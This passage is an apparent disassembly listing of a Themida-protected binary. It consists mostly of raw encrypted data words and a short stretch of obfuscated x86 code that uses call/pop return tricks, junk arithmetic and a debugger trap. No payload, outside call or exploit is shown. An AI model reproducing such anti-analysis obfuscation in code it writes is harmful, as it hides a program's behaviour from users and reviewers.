5B6A2ECBh, 9F5F6AD1h dd 522D332Dh, 714C59B4h, 0C5F005E2h, 39E71h, 84260000h dd 0FDD4DE9Ch, 7A57A009h, 0E6D12796h, 6F52AB12h, 0D7EE329Bh dd 5F66BA63h, 0C5FC02EBh, 40798871h, 0CFFA0DFCh, 0EC81CF7Bh dd 4, 57242C89h, 0C781E789h, 4, 4EF81h, 3C870000h, 3C895C24h dd 58836824h, 2C890000h, 0BF575124h, 0A966C58h, 8AAE781h dd 81470529h, 116B75CFh, 0EF81471Ah, 0F8D11D28h, 0D15FF989h dd 81D9F7E9h, 4DDBA5F1h, 59CF89E9h, 4EC81h, 24890000h dd 24048124h, 4, 0BA52515Dh, 46781746h, 4206EAC1h, 2A28E281h dd 0D2F77C99h, 447DE281h, 0F28139E9h, 39E0447Dh, 15AD189h dd 593989E9h, 5D2434FFh, 8B04C483h, 8953243Ch, 4C381E3h dd 83000000h, 1C8704C3h, 64E95C24h, 74FFF976h, 82AB8F8h dd 0C5030612h, 7742E0FFh, 6AD53C8Ah, 66FE18EEh, 681B7E7Eh dd 0AC0614B7h, 8A014487h, 0DC406985h, 0DC257C76h, 98107292h dd 0DEB7377Ch, 12EC17E3h, 69146385h, 0EA1F16C2h, 2C1A62AAh dd 2A6D2E68h, 0EDE965D5h, 60000000h, 0A8D88C66h, 0DF840F04h dd 8B000000h, 0B2151B5h, 0FE8306h, 22850Fh, 85C60000h dd 60B2845h, 69696845h, 0B5FF8E72h, 60B0B01h, 7D18858Dh dd 0D0FF060Eh, 2F4D8589h, 0F08B060Bh, 0FE93E80h, 3185h dd 0CB858D00h, 0FF061078h, 75BD8BD0h, 81060B1Fh, 1184C7h dd 51B58B00h, 87060B21h, 8B9F7h, 0A4F30000h, 2151B58Bh dd 858D060Bh, 60F1732h, 0B58BD0FFh, 60B230Dh, 0F00FE83h dd 2285h, 4585C600h, 54060B28h, 4EBEF468h, 1B5FFFFh, 8D060B0Bh dd 0E7D1885h, 89D0FF06h, 0B230D85h, 80F08B06h, 850FE93Eh dd 3Ah, 230DB58Bh, 858D060Bh, 61078CBh, 0BD8BD0FFh, 60B1F75h dd 1184C781h, 0C7830000h, 0DB58B08h, 87060B23h, 8B9F7h dd 0A4F30000h, 230DB58Bh, 858D060Bh, 60F1732h, 0C361D0FFh dd 91F858Dh, 85890612h, 60B14CDh, 0F53F04EBh, 0D0E919FAh dd 0FD000005h, 0A44192A9h, 12F36051h, 0FC29CA07h, 0AB449FA6h dd 4EF56E51h, 81BCC427h, 516CB552h, 24136582h, 88C5CE3Fh dd 224AA66Bh, 0C58617A6h, 0DEE25A29h, 0A514F8D5h, 71F3605Fh dd 1D3B4FE7h, 0B68CC394h, 5560B598h, 0D2EF38E1h, 5968BF6Eh dd 0F9112C93h, 0B63E2FA3h, 5A50B098h, 0F151A24Bh, 2F4795A8h dd 0C3942F5Bh, 61F2D62Ch, 9E457084h, 0A4282771h, 201F6796h dd 7FCE785Ch, 0C6B71B26h, 4C3D81B0h, 0BF8A9F37h, 2F93F7CBh dd 0C4B63771h, 856A7B39h, 6E9F4473h, 0B0C22825h, 942C483Ch dd 71FBDFC3h, 942C89FDh, 0A241EC3h, 2C5F2E06h, 0D597C394h dd 1DE1DC28h, 18950F39h, 24136590h, 6BFEA750h, 51E502C6h dd 0C069D37Dh, 0E9324118h, 93h, 0F8D5DE77h, 1DAEDC14h dd 0E466C394h, 44FCA277h, 5CB00435h, 0A80D51A3h, 53A9247Eh dd 32410BBAh, 197h, 50BD7100h, 4C807445h, 729CABFDh, 0D0288C9Bh dd 372519EDh, 941DCBBFh, 2665CC3h, 980963D8h, 0BE74578Bh dd 5E88B7CFh, 0C5F403EAh, 0EB3AEB71h, 0BA0E314Bh, 2F9E6246h dd 58F6EAD5h, 2296ADF5h, 0AD11287Bh, 3498A9FCh, 4BC7C6DCh dd 5F44415Bh, 0DFA7948h, 0D7B33BF8h, 58C39481h, 31DC0E62h dd 0FD891DE6h, 72C39481h, 6CA01408h, 0DED321C2h, 94E00DDAh dd 71F1D5B9h, 0C3941D15h, 3A97A09Ah, 0FFCF6241h, 9F4E3216h dd 30636288h, 68DB6E61h, 23C92D10h, 944CFF8Bh, 160A70C3h dd 5632BAC4h, 99C3944Ch, 0F98D231Fh, 53A7102Fh, 0DFA39AEAh dd 1BC54DFBh, 1D678C19h, 0C3D43122h, 5F98EC00h, 2B6FC394h dd 0E0B62537h, 0A1D1C4F3h, 0DEAAC228h, 51C39491h, 0E24BBF69h dd 67D6BA97h, 0EB522611h, 0B0D45891h, 37C39491h, 0BD1BEFC3h dd 72856A7Bh, 0BB9FF347h, 79931286h, 32417EC0h, 8CE9h dd 0DADE7700h, 0DCCA71FBh, 0EDC2E86Dh, 793B4FE7h, 0B68CC394h dd 0AF92EB52h, 0C149E7DBh, 437A8A7Bh, 6059A8A5h, 0C3FE0BFAh dd 65ED1B7Fh, 11F6F72Dh, 0FE2F340Bh, 0EA519BBAh, 0EE642158h dd 73847585h, 709EF246h, 50A35298h, 0B6AA97ECh, 0ED608EC2h dd 1FBCAE95h, 0D5237537h, 0FD2B5DFAh, 81848CBAh, 0BF7E9213h dd 0EA324162h, 4Ah, 6EDADE72h, 536EBD25h, 0A5B71B7Fh, 0F21C2D78h dd 4E320D1Bh, 17FC092Bh, 0A721320Dh, 0F8162B76h, 0FAD7DE02h dd 1DAFDE16h, 2D67C394h, 0F0C168A0h, 13E83240h, 0 dd 84C064F6h, 0BC39411h, 114B3F37h, 0E6DCC394h, 0D3DED248h dd 3E2C136Bh, 941DD2B6h, 96D55C3h, 0F6C3D485h, 7C435B02h dd 0FAD92188h, 0EBFA3C16h, 37E66A97h, 286CD0EFh, 0C029A4FEh dd 0CDF80DB1h, 32210579h, 0D9031864h, 9EFC4055h, 299DE5BDh dd 0D91A3740h, 1AEEDB2Ch, 60C0B8CAh, 0DFEA3D3Ah, 457C826Bh dd 0D82C9DF1h, 0F12B19EDh, 5D879AF4h, 635EAB50h, 370217F0h dd 0BC899A43h, 99146EC8h, 0C92A2770h, 35CE1ECFh, 15C0B2Ch dd 0BDD50000h, 2B1A791Eh, 3DE639D6h, 0EBBB44A3h, 0B8042261h dd 198D5FE4h, 0BD9E1378h, 2E156D98h, 0A5C90300h, 3A61A321h dd 94785CA6h, 673ED025h, 0C7847D8Fh, 5BB4AF83h, 0AC91E64Eh dd 5AC53FD8h, 0DAB68B1Fh, 2C3E82E6h, 8A7E0AA2h, 89F13A61h dd 74D8F100h, 217F610h, 93954337h, 81F8E12h, 764B5039h dd 152075D8h, 405342CEh, 0D6BA879Ch, 202A9EF2h, 618AF88Ch dd 170B4F3Ah, 0C76150A6h, 3687B455h, 4C9D2Ch, 6F7B0000h dd 5BE5770Ch, 0C06E5BAAh, 941D0034h, 0C91367C3h, 0E25337BFh dd 7BD43C6Bh, 55A91D2Ch, 0F373D771h, 3C6BE297h, 441AAB8Dh dd 0E697F737h, 1430DD1Dh, 92665DA5h, 1C905ABEh, 3C6BE938h dd 0F421CB0Fh, 0FD7690A1h, 8906h, 50BDAE00h, 1F6B8348h dd 90C3941Dh, 55C2B6AAh, 2075346Fh, 0CD7B5F66h, 4A90ABF1h dd 9FC18322h, 2F6CCBDh, 19A84E5Bh, 9CA2A35Eh, 8FFB73F9h dd 3A61D5h, 0E914C63Ah, 4594A39Eh, 88986739h, 41AE49E7h dd 6CD31934h, 0E584D030h, 7ED27C5Eh, 611BA9F6h, 7570A03Ah dd 954E7B8Ch, 2002A41Bh, 49D05C2h, 0B1CAD2EAh, 4E5903ABh dd 0E8D24473h, 5560B564h, 0B13C74E1h, 9EABFA2Bh, 0CB502C70h dd 40E78D21h, 62584E65h, 0D6F03F1h, 0D2A699E3h, 0CF231E6Bh dd 7FF701EBh, 0C3941D0Bh, 0CFD7A69Ch, 1EC80CF0h, 23B2D84Ch dd 0A00DBD86h, 0B0947851h, 0EB4602AAh, 0F1C93A79h, 3740299Dh dd 5746D01Ah, 488C704Fh, 79EBCCB8h, 0D17F433Ah, 91ACF916h dd 0CC12052Dh, 41D5C91h, 9EE45539h, 6226D3A7h, 0EDC72F63h dd 0D3EE3BE0h, 0BA879C09h, 0E93AEB8Ch, 0DC6822Ah, 71491991h dd 0BAC0A91Dh, 8E0A379Bh, 0B08D967Fh, 43142A3h, 0CDFB0h dd 84790000h, 830073E8h, 975058BCh, 0D4DE8379h, 57A009FDh dd 0D127967Ah, 52AB12E6h, 0EE329B6Fh, 66BA63D7h, 0FC02EB5Fh dd 798871C5h, 0FA0DFC40h, 68CF7BCFh, 608Ah, 53243C89h dd 0C381E389h, 4, 4EB81h, 1C870000h, 34895C24h, 0E2895224h dd 4C281h, 0EA830000h, 24148704h, 2404895Ch, 43876850h dd 35580EBEh, 8AC49A4h, 48BC689h, 4C48324h, 4EC81h, 24890000h dd 24048124h, 4, 0F3895358h, 8B951h, 0C1010000h, 5B591989h dd 5124048Bh, 0C181E189h, 4, 4C181h, 0C870000h, 348B5C24h dd 0E6895624h, 4C681h, 0C6810000h, 4, 5C243487h, 0F96F46E9h dd 0B8A244FFh, 6120F5Bh, 0E0FFC503h, 3D06388Bh, 524679Dh dd 151417E7h, 69B7D05Eh, 6A4668FBh, 7A594309h, 24E7DA6Eh dd 494B2CEFh, 2F9D62C4h, 58D1A1Fh, 3680BC8Ah, 29F725B2h dd 61BC000Fh, 6E52C8CEh, 869B78h, 6E3CDF7Eh, 71701F2h dd 33A9AC63h, 24B60486h, 2D68C4CFh, 42955E18h, 20FEE362h dd 2BA5FBE4h, 2A481174h, 42E8485Dh, 3ACE82B2h, 715AF7F8h dd 8EBh, 0B0350000h, 0D1E94999h, 68000004h, 612117Bh, 0F96EB6E9h dd 11E368FFh, 0ACE90612h, 68FFF96Eh, 6121375h, 0F96EA2E9h dd 3F4BFFh, 0D6E332D3h, 0B891E00Dh, 0D344ABBh, 0DCE339D6h dd 52A9B007h, 3EC774Eh, 0F31CC7FAh, 5C49AAA5h, 14E57E4Bh dd 0D3450D4h, 0CCBBC586h, 0FBDADE54h, 417C8471h, 9B6F99FDh dd 0FD4E132h, 0F47E5EFDh, 80E05956h, 50B6D25Ah, 0C139C394h dd 7E059727h, 6CF978ECh, 0C76BD9Fh, 22D8A8B8h, 970D3A61h dd 304BE216h, 18662C36h, 8E000003h, 6B312D46h, 0A7E20AD0h dd 0A8BD9F05h, 51D8852h, 5BAB103Eh, 3F046E92h, 0E9730894h dd 374CE43Ch, 6EA2160Ah, 0C7862EC0h, 48411055h, 96F27A84h dd 1935107Bh, 7BA52121h, 0D02A3510h, 66BF6EFCh, 7848F75Bh dd 22AE445Eh, 0D337D135h, 0B0BAC1DBh, 93AEF726h, 0A93DEB2Fh dd 4B1BF8D4h, 84B5C4A9h, 72F8DC30h, 985B7683h, 202F1A6Fh dd 8FD96FDBh, 294F0002h, 0A5000003h, 0CF97A51h, 0FA2BC8F9h dd 0A44192AFh, 13FC675Eh, 962D3609h, 6954AC4Fh, 39041D8Ah dd 8CBBCD3Ah, 506DB657h, 7AF27E83h, 0C5860C0Eh, 0BD4A3281h dd 84084150h, 8616A640h, 2DC76FFDh, 0BEBD862Ch, 0D7049644h dd 0CF999513h, 65E80639h, 0D233201Fh, 2303F7CEh, 3C867F9Ch dd 6CFBD623h, 8665F5B9h, 0C175CA38h, 3D000002h, 0E401D2E9h dd 52B3A091h, 3CE90A47h, 0EB04DFE6h, 0EB5AE91h, 0C1FC04E7h dd 91ACF512h, 6453A542h, 0C8050EFFh, 0E20AE62Bh, 0C5860CE6h dd 6F229A69h, 40E4760Dh, 0BD862CAAh, 2DA61348h, 6FB61006h dd 947842C1h, 796E2C5Ch, 2ABBF93Ah, 2D8037D6h, 1E1122Ch dd 0DEFA0000h, 28176DD5h, 0F7C3BDEFh, 8EE20A73h, 9962B15Ch dd 94067115h, 0A88CF6C3h, 0C246E024h, 52A60E1Bh, 47BB9F63h dd 0A1BAC29Ch, 2AE33BBh, 4DF2BD9Fh, 0B50512AFh, 734E5924h dd 0B9574B8Fh, 549C605Ah, 3A613834h, 0DE32B3E1h, 2C35322Fh dd 1F6B830Dh, 903A6130h, 54E57CAAh, 3000000h, 9AE30D6Fh dd 0D6CE067Ch, 0D83C00C5h, 2E3C1074h, 823C3F9Ch, 2AF7BB90h dd 10C968FCh, 0B9CBBD9Fh, 60F65135h, 42ECD63Ah, 0D909FDC5h dd 3A60F6A9h, 23A9247Ch, 14D4C0BCh, 5FF86B81h, 9139CFA3h dd 3426C0FCh, 2C34FA15h, 98A5FA2Bh, 0D0EB6Eh, 0DE750000h dd 0A514F8D5h, 68FA605Fh, 941D80C4h, 43307C3h, 9B0279C2h dd 0CC44E277h, 4A758F7Eh, 0E96482C6h, 6CDDA19Ch, 3054D81Bh dd 0B7C394EBh, 62F46F43h, 0C394EEBCh, 9A597481h, 0BF8A9F0Eh dd 0D46F0D91h, 94ADD906h, 2ADAEB37h, 0DFA72FCh, 9EBD99DEh dd 3247B6A4h, 0F507E907h, 72F24A46h, 4EFB91C1h, 0DD675E09h dd 0A9A442A6h, 0FFE6C53h, 387ECFFAh, 0B751B519h, 63C9D33Ch dd 7C50241Bh, 0D518CF18h, 1BEF8660h, 12FA4h, 605FAB00h dd 360312F3h, 98B1C02Dh, 6D54AA5Bh, 3C0319F6h, 0B2499027h dd 638C576Eh, 0D33C271Ah, 0BC698AC5h, 74855E6Bh, 0E1470F4h dd 2C9BC586h, 0FBDADEB4h, 0F201EC78h, 14D520DFh, 65C406CFh dd 43142CBh, 0D5DE39DFh, 0CBB9023h, 0C82CC6C5h, 0ABA6F322h dd 0CD45E327h, 253E0B1Ch, 0D2182379h, 74CC1B40h, 3747AD18h dd 0EE29BEEAh, 0B7511432h, 9EFC882Fh, 0DC2794BDh, 0BA21E027h dd 7149C660h, 5DAC59EBh, 5676129Ah, 81F93A60h, 4BE5D9ADh dd 5C87BEC2h, 6056BACAh, 0D3EE3B3Ah, 0A29DE700h, 8A79DEh dd 6F830000h, 5AE4760Dh, 1824B4E5h, 20446C43h, 0C394A1A4h dd 55F3D72Bh, 86906F81h, 509AE0BDh, 906453A5h, 8CBBCDBCh dd 262AC438h, 0CC172277h, 17FBD623h, 9F7696C5h, 4C9A453Eh dd 0C936D2A2h, 0F42E8CF1h, 0CA0710F9h, 9EABFC29h, 43B432Ah dd 0FE0F85B0h, 22310C19h, 0F49014A6h, 7569F716h, 52A81722h dd 714C59B4h, 1ECA8Dh, 94260000h, 0C51EFF27h, 343CD3A5h dd 69F72B50h, 0E7B638D7h, 7D6FEEFEh, 6A67B019h, 9C8446BCh dd 9FDD4DEh, 967A57A0h, 12E6D127h, 9B6F52ABh, 63D7EE32h dd 0EB5F66BAh dd 71C5FC02h, 0FC407988h, 7BCFFA0Dh, 0E78957CFh, 4C781h dd 0EF810000h, 4, 5C243C87h, 68242C89h, 322Bh, 68243489h dd 1BF6h, 55240489h, 0CE2198BDh, 10B8500Ah, 0F76D145Ch dd 8D1E05D0h, 0C53179F0h, 5DEE8958h, 8904EC83h, 4832424h dd 52580424h, 8BAh, 89C20100h, 24148B32h, 0FF04C483h, 81582434h dd 4C4h, 2434FF00h, 4C4815Eh, 0E9000000h, 0FFF969FBh, 5B9C1B5Ch dd 0B67BCBA5h, 82EAC245h, 1214C9B8h, 0FFC50306h, 0F6E5EFE0h dd 63ED4B0Ch, 0F3CEF443h, 0F900514h, 0C4684068h, 3800F924h dd 8A6EEA71h, 5060D752h, 0E1257B4Ch, 9F28E27Dh, 0CDDB447Fh dd 2B33659h, 69F2E94Eh, 321E4A4Fh, 0D872A507h, 40CCC444h dd 0B181D23h, 11592904h, 96293D75h, 0D0B8686Dh, 57304103h dd 0B1A7FB1Ah, 4A0EA13h, 0CDB60166h, 14E83Bh, 0D5C00000h dd 0FDC3EC74h, 76AC6A75h, 905A9309h, 75E63C45h, 0BF66F325h dd 0F95BB240h, 6CDCC381h, 0FA8B0000h, 0B8h, 99BA6600h dd 1834FF9Fh, 8850Fh, 50600000h, 0A6BF6659h, 0F59613Eh dd 0C181F1BFh, 6EB21B4Eh, 6880Fh, 8F0F0000h, 0 ; --------------------------------------------------------------------------- add ecx, 7F8683E0h jnp loc_5AD6C1 jnb loc_5AD6C1 and dl, 0BFh loc_5AD6C1: ; CODE XREF: Themida_:005AD6B2j ; Themida_:005AD6B8j xor ecx, 2C736FB6h adc si, 347Ch push ecx jmp loc_5AD6DA ; --------------------------------------------------------------------------- pop gs or [esi-66813E1Eh], ah loc_5AD6DA: ; CODE XREF: Themida_:005AD6CDj pop dword ptr [ebx+eax] movzx edi, dx call sub_5AD6F9 int 3 ; Trap to Debugger or [ebx+5AADBF2Bh], dl jmp far ptr 3F9h:1B2736CAh ; --------------------------------------------------------------------------- db 32h dd 36E96AE0h db 84h ; =============== S U B R O U T I N E ======================================= sub_5AD6F9 proc near ; CODE XREF: Themida_:005AD6E0p ; FUNCTION CHUNK AT 005AD780 SIZE 0000001E BYTES pop esi sub eax, 76589AFh movzx edx, bx add eax, 76589ABh jmp loc_5AD71F ; --------------------------------------------------------------------------- dw 3C64h dd 0A1057717h, 5535E90Bh, 241D61C6h db 97h, 0DCh, 5Eh ; --------------------------------------------------------------------------- loc_5AD71F: ; CODE XREF: sub_5AD6F9+10j cmp eax, 0FFFF9418h jnz loc_5AD73D or dx, 686Bh jmp loc_5AD752 ; --------------------------------------------------------------------------- db 0DBh, 83h, 5 ; --------------------------------------------------------------------------- and eax, 75C2BE03h loc_5AD73D: ; CODE XREF: sub_5AD6F9+2Cj sbb edi, 38633906h jmp near ptr dword_5AD560+125h ; --------------------------------------------------------------------------- dd 7A46CD5Fh, 0A36E7519h ; --------------------------------------------------------------------------- jnp short loc_5AD780 loc_5AD752: ; CODE XREF: sub_5AD6F9+37j lea ecx, [ebp+6121765h] push 0 push eax call sub_5AD763 and [eax-3Dh], bl sub_5AD6F9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5AD763 proc near ; CODE XREF: sub_5AD6F9+62p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 18h inc eax push eax retn sub_5AD763 endp ; --------------------------------------------------------------------------- db 33h dd 0E759251Bh, 0BF0FF08Bh, 4D8D89F9h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD6F9 loc_5AD780: ; CODE XREF: sub_5AD6F9+57j pop ss or eax, [esi] mov [ebp+60B001Dh], edx mov dword ptr [ebp+60B0119h], 68C4h push 0 push ebx call sub_5AD79E and [ebx-3Dh], bl ; END OF FUNCTION CHUNK FOR sub_5AD6F9 ; =============== S U B R O U T I N E ======================================= sub_5AD79E proc near ; CODE XREF: sub_5AD6F9+9Dp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_5AD79E endp ; --------------------------------------------------------------------------- dw 0A5E5h ; --------------------------------------------------------------------------- aad 47h test [edx+edx*2-7623A399h], bl lea eax, [ecx-48F9F4CFh] cmc mov dword ptr [ebp+60B1009h], 0 push dword ptr [ebp+60B1AA9h] push 0 push esi call sub_5AD7DB and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AD7DB proc near ; CODE XREF: Themida_:005AD7D3p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_5AD7DB endp ; --------------------------------------------------------------------------- dec ebp lodsd xor bl, bl ficom word ptr [ebp+51h] mov ah, 20h and cl, [ebx+0B22259Dh] push es call dword ptr [ebp+60B0AC5h] clc push 0 call dword ptr [ebp+60B32DDh] mov eax, eax jmp short loc_5AD85D ; --------------------------------------------------------------------------- dw 0AB6Ah dd 0CF7CE3BAh, 7869F6BEh, 562233D3h, 0FB7E137Bh, 4FB10B69h dd 145C9FEFh, 0A2D446CFh, 0B9CBD3F0h, 49398B3Ah, 98E6A9E5h dd 17C968F5h, 0E8F2F51Ah, 5EC5C0BFh, 28DFAC49h, 19AF0878h dd 8C4CA90h, 0CBE583FBh, 0AB312E3Bh, 0B139639Bh db 8Dh ; --------------------------------------------------------------------------- loc_5AD85D: ; CODE XREF: Themida_:005AD80Cj jmp short loc_5AD863 ; --------------------------------------------------------------------------- db 0E5h ; --------------------------------------------------------------------------- cmp dl, [ebp+61h] loc_5AD863: ; CODE XREF: Themida_:loc_5AD85Dj jmp loc_5AE5A1 ; --------------------------------------------------------------------------- push 6121977h jmp loc_543FDB ; --------------------------------------------------------------------------- push 6121AA8h jmp loc_543FDB ; --------------------------------------------------------------------------- push 6121C94h jmp loc_543FDB ; --------------------------------------------------------------------------- push 6121DB4h jmp loc_543FDB ; --------------------------------------------------------------------------- push 612212Ah jmp loc_543FDB ; --------------------------------------------------------------------------- push 612227Fh jmp loc_543FDB ; --------------------------------------------------------------------------- push 612236Eh jmp loc_543FDB ; --------------------------------------------------------------------------- dw 0C2D4h dd 68BF688Bh, 1E6D9A59h, 0CFD73023h, 7E8263F0h, 3E259C47h dd 79FAC5DFh, 0A94A778Ch, 0C61D287Ch, 72E1DC29h, 0BFCB6389h dd 30C58605h, 0D5DEDB41h, 4CE072F8h, 0C3941D38h, 178C4B8Fh dd 578DA593h, 67D63AD4h, 295DD112h, 0FEC3940Ch, 288DC14h dd 9CE651E7h, 1365D4B8h, 0EFA55024h, 0D1EC39DEh, 1175F90Bh dd 96C39462h, 4E182ACh, 0EA1BC1FCh, 0E024A895h, 3740AD46h dd 0FB4F7A8Fh, 6EDFA387h, 0B9CB2825h, 68FC374Ch, 0C394621Ch dd 0A14BAF93h, 9462790Dh, 5AF4CEC3h, 3B213A42h, 9F662EB3h dd 573B1FBDh, 6164EF9Fh, 6F7E3A3Ah, 35867495h, 2F5D2Ch dd 6FBB0000h, 40E4760Dh, 0BD9F05D1h, 5090645Eh, 3A60CB30h dd 0E46867B1h, 6CD0EF35h, 0A35E65BDh, 77AAE4E1h, 0C168A02Dh dd 0E82C35C6h, 0D9h, 0F8D5DE74h, 46798372h, 98709EF2h dd 675AA352h, 13C44C9h, 2530AFBDh, 941D9F45h, 3E4BC26Ch dd 0D82CD903h, 8FF7931Bh, 278C394h, 0C208002Eh, 0FA8E26B0h dd 4DC3948Fh, 8F89FD75h, 241EC394h, 0DBF6030Ah, 8A299618h dd 314C394h, 0B7C02D36h, 0A6F6369Ah, 0D2274F9Dh, 13BD9F8Eh dd 126A342Fh, 214BE309h, 9A446CEFh, 3D4BBAA0h, 526DBB02h dd 0F27CAAEEh, 1DC6F903h, 5A95A8F0h, 8C6B7BC8h, 0DB78DF2Bh dd 0A900000Ah, 10FD665Dh, 0FE2F3405h, 0A8459EB3h, 17F06352h dd 9221320Dh, 5568B04Bh, 2518618Eh, 88C7D13Eh, 5C69BA6Bh dd 7EF67A87h, 0C586040Ah, 0BDB62E9Dh, 0DE084150h, 0C02A156Fh dd 9AC0259Bh, 94537612h, 7681F9C3h, 0F40D4C61h, 0B83BD5C9h dd 0D40F3A4Fh, 760D6F2Ch, 0D7EA39E4h, 9E3FB739h, 0EFBD9F05h dd 455441ABh, 0A24C8074h, 0CBC686AEh, 3E473A60h, 0CB1571F5h dd 0A09A3A60h, 711F84Ch, 160C44C8h, 9A46FB97h, 406B7C25h dd 608EAF7Fh, 0B33D4746h, 60634F3Bh, 7E21C03Ah, 93F55681h dd 7CDE086Ch, 2C35A1CDh, 0CAE4h, 50BD0000h, 4E82764Bh dd 6D58ADA0h, 0D5E83099h, 185EC161h, 0D421C394h, 3FEE7AF9h dd 0DE2FD9E8h, 0C614F8D5h, 0E65430B4h, 0E7DB3C6Bh, 0EA277549h dd 6BE60642h, 5DB1893Ch, 1BDE7D8Fh, 0B449B1C9h, 0F3C68EB8h dd 744260BBh, 0F389D50Eh, 136A8268h, 0EC446D03h, 40594496h dd 0C367638Bh, 92E83072h, 58F6CABEh, 0F91D6796h, 0FBD2F80Ah dd 0D50E62DAh, 2F4BE45Bh, 3FE0D849h, 0D9E43C11h, 6CBC060Eh dd 1AFD558Ch, 9AAh, 0CE152C76h, 78FBD621h, 964D7C8Fh, 0C1122179h dd 72E1DC24h, 3B419CC3h, 0E92EDF04h, 969E0FD4h, 3E4BA4BFh dd 0C12BD003h, 8607D9ADh, 79DFAEC5h, 78FBDADEh, 944F7A8Fh dd 0AE95ED18h, 417E6DAh, 0DE251B35h, 0C614F8D5h, 1D5430B4h dd 3EB6C394h, 0C3941D4Ah, 201AE5DDh, 0C7F20706h, 1DFA8A1Ch dd 2E7BC394h, 0D227C013h, 7D8875E7h, 6A84F84Ch, 0D7E237E6h dd 4ABBB563h, 0C2E4023Fh, 69C9DAC3h, 2AC92D10h, 0EC980C9Eh dd 0EC3941Dh, 941DE2E6h, 0A21D65C3h, 3A8EB5CDh, 0DA44E2C6h dd 3240F133h, 0B61Eh, 19639200h, 93EB5226h, 0B89E48ACh dd 0E4760D6Fh, 9F0C4D40h, 14F8C2BDh, 60D0ACDCh, 2F3793Ah dd 1D71C5FCh, 0DC34B1F3h, 2C34DA2Dh, 8604h, 10699400h dd 7E526FB8h, 50BD6AD0h, 0C356AE48h, 7F1D106Eh, 6819ED1Bh dd 5AC39430h, 0BB333942h, 0BD9F2836h, 0C7203307h, 94F074BDh dd 1B3A611Eh, 0ED7FC327h, 1EBFCB63h, 0C95D3A61h, 3A611EBDh dd 0B4FC832h, 0A0BBC1DDh, 1C1332BAh, 261C446Ah, 89C4D03Dh dd 506DB263h, 8A7EA8ECh, 9CE40A92h, 85F9DDA1h, 0DEA6DF57h dd 0C3374E76h, 0E20A9410h, 2E4AC2E6h, 0F71169h, 562h, 0AEDA52DCh dd 212E4AC2h, 6FC92FD9h, 40E4760Dh, 0BD9F24D1h, 46DBBF5Eh dd 520C2BF1h, 2A5A8A7Eh, 0FF3A603Ch, 39D028A5h, 102C342Eh dd 532h, 2E3A46FCh, 0DFABC34Eh, 50C3941Dh, 40E4766Ah, 0BD9F0545h dd 4D9FF0CAh, 0A8EE5AA0h, 8DC1B5A9h, 0D42C9363h, 0DAA2E2A5h dd 26139B41h, 7EDB08Bh, 4D2F4F33h, 805D2CEDh, 443586B6h dd 3A200435h, 0BD70CAB2h, 8F5DA5F7h, 3B38151Eh, 0F3971FA9h dd 74878238h, 3D4E77D5h, 564A6E3Bh, 754055B8h, 3C9364FAh dd 0DCB3973Ch, 7BEh, 0D201384Ah, 0CD7E235h, 0BAB990E3h dd 0D50E354Dh, 6DDE038h, 4F55A8BFh, 0FD02E370h, 0A2F213C0h dd 4A5F48ABh, 0D517E47Fh, 86013551h, 55CBBAC5h, 94450BDh dd 0A6A74185h, 9C9C605Dh, 6D198D00h, 0E2C3941Dh, 9B6A498h dd 64B726CBh, 92ADE155h, 193737D0h, 0BEADF57h, 77BBD9Fh dd 0E1DC28D5h, 5D0F391Dh, 8A6964B0h, 2E3C0B1Dh, 2A9EA9FFh dd 20043B43h, 0A6220206h, 5E3A6111h, 3A61212Eh, 77E57E1Eh dd 6A049AFFh, 0A3176B44h, 7DC8C383h, 5B4A1630h, 0B5897D4Ch dd 748C199Bh, 262AC5D5h, 3AFCh, 0D6F1800h, 0AB5AE476h dd 3FC76158h, 0BD9F1F2Ah, 0A615C73Bh, 630B9D89h, 0CC608A27h dd 3A6057B8h, 351DCB0Fh, 75119527h, 0FA3A6057h, 29707780h dd 5C7B2574h, 294DB2h, 6FD70000h, 40E4760Dh, 0BD9F299Dh dd 0B4898E7Fh, 96F27AC0h, 193A60F7h, 2423CD21h, 35E06ADEh dd 0D0990EE0h, 4872212Bh, 0BD44BA54h, 1DCFBB33h, 7A40C394h dd 193441CCh, 532B72CEh, 0F649B980h, 69Eh, 3221186Ah, 6CF7C2D5h dd 9A597083h, 352E156Dh, 66FDC0D8h, 2F7588DFh, 0DD22C310h dd 829273E0h, 2A7FA84Bh, 3537C41Fh, 8600D5B1h, 75EB5AC5h dd 0E4760D6Fh, 1DB6D25Ah, 0E237C394h, 502F63D7h, 0E810CCB1h dd 4EA2BA53h, 7BA6CEA0h, 0CCBD9F46h, 4A98EC00h, 2B6F3A61h dd 0CF94337h, 478CCFDh, 0E01663EAh, 6545334Fh, 0F50DFC0Bh dd 22067ACEh, 0F825B731h, 0D5299DA0h, 615F691Dh, 911FE3Ah dd 0AC38D6CAh, 652A505Dh, 881900BFh, 0B7C67B3h, 77BCFF2h dd 0E2B90523h, 0C94307AFh, 0BACA113Eh, 7CDB3F83h, 65312206h dd 0BC839917h, 0F71A9258h, 486F35FDh, 0C8DF8E72h, 603C7AF9h dd 0F89D11DBh, 20710146h, 8A6A1E96h, 10FD0500h, 38D6CA07h dd 0D313E7DBh, 5008AB3h, 0E345FA66h, 0EB96A9CCh, 310C14E5h dd 0F8109D17h, 0F8D46651h, 15878h, 824BF000h, 0D4C33227h dd 6F160C3Ah, 40E4760Dh, 0BD9F345Dh, 74494EBFh, 0B1057DDAh dd 5182BFC8h, 0E25663B4h, 2BF78342h, 4819B65h, 0A4BF8A9Fh dd 0D9033E4Bh, 0A2F3B062h, 0B2967A57h, 96A54785h, 45E3DE27h dd 79ED7FCDh, 113DD60Dh, 0C68EB882h, 4E76D907h, 0FF437286h dd 7FCE030Eh, 70B51928h, 2CE9A520h, 0EE9A129Ch, 6168CA8Ch dd 8C0347EFh, 0BE8468CAh, 0FB0AAC5Ah, 2F340112h, 0C66EB5FEh dd 68CA8C82h, 7FC3FE0Bh, 9446BC1Bh, 0CA8C7410h, 0A387FB68h dd 0A5BADFDFh, 8C2B3FB7h, 0C63C68CAh, 203B411Dh, 0F347853Ah dd 0E641D64Dh, 0A05F0140h, 0E50323FCh, 16E30Bh, 0E3D716C1h dd 0FD65AE1Fh, 